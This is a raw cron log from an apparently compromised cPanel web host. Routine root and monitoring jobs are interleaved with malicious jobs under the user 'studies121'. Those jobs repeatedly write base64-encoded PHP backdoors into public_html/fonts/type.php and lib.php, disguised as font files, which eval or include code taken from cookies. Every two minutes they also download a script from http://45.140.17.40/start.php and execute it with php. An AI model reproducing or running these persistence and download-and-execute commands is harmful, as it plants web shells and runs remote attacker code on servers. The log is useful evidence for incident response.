Aug 30 16:19:01 ip-184-168-122-23 CROND[8461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:20:01 ip-184-168-122-23 CROND[8602]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:20:01 ip-184-168-122-23 CROND[8607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:20:01 ip-184-168-122-23 CROND[8608]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:20:01 ip-184-168-122-23 CROND[8606]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 16:20:01 ip-184-168-122-23 CROND[8605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:20:01 ip-184-168-122-23 CROND[8604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:20:01 ip-184-168-122-23 CROND[8609]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:20:01 ip-184-168-122-23 CROND[8603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:20:01 ip-184-168-122-23 CROND[8611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:21:01 ip-184-168-122-23 CROND[8718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:21:01 ip-184-168-122-23 CROND[8720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:21:01 ip-184-168-122-23 CROND[8721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:21:01 ip-184-168-122-23 CROND[8722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:22:01 ip-184-168-122-23 CROND[8807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:22:01 ip-184-168-122-23 CROND[8809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:22:01 ip-184-168-122-23 CROND[8812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:22:01 ip-184-168-122-23 CROND[8813]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:22:01 ip-184-168-122-23 CROND[8811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:23:01 ip-184-168-122-23 CROND[8911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:23:01 ip-184-168-122-23 CROND[8913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:23:01 ip-184-168-122-23 CROND[8914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:23:01 ip-184-168-122-23 CROND[8917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:24:01 ip-184-168-122-23 CROND[9076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:24:01 ip-184-168-122-23 CROND[9075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:24:01 ip-184-168-122-23 CROND[9079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:24:01 ip-184-168-122-23 CROND[9081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:24:01 ip-184-168-122-23 CROND[9082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:25:01 ip-184-168-122-23 CROND[9175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:25:01 ip-184-168-122-23 CROND[9178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:25:01 ip-184-168-122-23 CROND[9179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:25:01 ip-184-168-122-23 CROND[9177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:25:01 ip-184-168-122-23 CROND[9183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:25:01 ip-184-168-122-23 CROND[9185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:25:01 ip-184-168-122-23 CROND[9180]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 16:26:01 ip-184-168-122-23 CROND[9280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:26:01 ip-184-168-122-23 CROND[9278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:26:01 ip-184-168-122-23 CROND[9279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:26:01 ip-184-168-122-23 CROND[9281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:26:01 ip-184-168-122-23 CROND[9282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:27:01 ip-184-168-122-23 CROND[9378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:27:01 ip-184-168-122-23 CROND[9377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:27:01 ip-184-168-122-23 CROND[9376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:27:01 ip-184-168-122-23 CROND[9375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:28:01 ip-184-168-122-23 CROND[9463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:28:01 ip-184-168-122-23 CROND[9466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:28:01 ip-184-168-122-23 CROND[9465]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:28:01 ip-184-168-122-23 CROND[9467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:28:01 ip-184-168-122-23 CROND[9464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:29:01 ip-184-168-122-23 CROND[9630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:29:01 ip-184-168-122-23 CROND[9632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:29:01 ip-184-168-122-23 CROND[9633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:29:01 ip-184-168-122-23 CROND[9636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:30:01 ip-184-168-122-23 CROND[9719]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 30 16:30:01 ip-184-168-122-23 CROND[9722]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:30:01 ip-184-168-122-23 CROND[9723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:30:01 ip-184-168-122-23 CROND[9729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:30:01 ip-184-168-122-23 CROND[9724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:30:01 ip-184-168-122-23 CROND[9726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:30:01 ip-184-168-122-23 CROND[9727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:30:01 ip-184-168-122-23 CROND[9728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:30:01 ip-184-168-122-23 CROND[9725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:31:01 ip-184-168-122-23 CROND[9835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:31:01 ip-184-168-122-23 CROND[9837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:31:01 ip-184-168-122-23 CROND[9838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
